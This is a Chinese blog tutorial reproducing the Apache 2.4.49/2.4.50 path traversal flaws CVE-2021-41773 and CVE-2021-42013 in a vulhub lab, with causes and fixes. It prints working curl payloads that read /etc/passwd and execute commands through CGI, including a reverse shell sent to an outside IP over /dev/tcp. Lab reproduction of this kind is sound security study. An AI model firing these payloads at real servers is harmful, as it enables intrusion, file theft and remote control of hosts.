漏洞学习篇:CVE漏洞复现
Posted kali_Ma
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞学习篇:CVE漏洞复现相关的知识,希望对你有一定的参考价值。
漏洞原理
Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:
-
版本等于2.4.49
-
<Directory />Require all granted</Directory>
(默认情况下是允许被访问的)。
攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。
影响版本
Apache HTTP Server 2.4.49
漏洞复现
这里用vulhub环境
【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线
可以看见,apache是49版本的
使用如下 CURL 命令来发送 Payload(其中/icons/
必须是一个存在且可访问的目录):
curl -v --path-as-is http://192.168.190.134:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cg命令:
curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
或者是
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
修复方法
升级到Apache HTTP Server最新安全版本,或使用Apache HTTP Server 非 2.4.49版
CVE-2021-42013
漏洞原理
Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
影响版本
Apache 2.4.49 和 Apache 2.4.50
漏洞复现
启动漏洞环境
curl -v --path-as-is http://192.168.190.134:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:
curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
修复方法
升级到Apache HTTP Server安全版本。
github上已经有这两个漏洞的检测工具
以上是关于漏洞学习篇:CVE漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
[ vulhub漏洞复现篇 ] Linux Polkit 权限提升漏洞CVE-2021-4034
[ vulhub漏洞复现篇 ] JBOSS AS 4.x以下反序列化远程代码执行漏洞CVE-2017-7504